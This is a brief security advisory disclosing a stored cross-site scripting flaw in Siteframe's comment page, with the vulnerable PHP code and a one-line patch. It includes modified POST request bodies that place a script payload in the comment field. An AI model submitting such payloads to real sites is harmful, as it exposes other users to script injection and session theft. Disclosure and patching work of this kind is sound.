Siteframe contains a flaw that allows a remote cross site scripting attack.   
The vulnerability is found in the user comment page and the user can modify   
the function GET and insert the XSS code

POST /edit/Comment HTTP/1.1

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=Hi&_submitted=1  
  
but we can modify the request POST in this way:  
  
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitted=1  
  
---------------------------------------------------------  
  
Example:  
  
you can insert in the text post an XSS code or you can modify the request in this way:  
  
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=[XSS]&_submitted=1  
  
---------------------------------------------------------  
  
The bug is in this part of DataObject.class.inc  
  
[...]  
// strip html  
if ($info['formatted'] == 'ANY')  
; // anything is allowed  
else if ($info['formatted'])  
$val = strip_tags($val, config('allowed_html'));  
else if ($info['type'] != 'xml')  
$val = strip_tags($val);  
[...]  
  
- Patch  
  
in includes/DataObject.class.inc, change this:  
  
if ($info['formatted'] == 'ANY')  
  
to this:  
  
if (!strcasecmp($info['formatted'], 'ANY'))
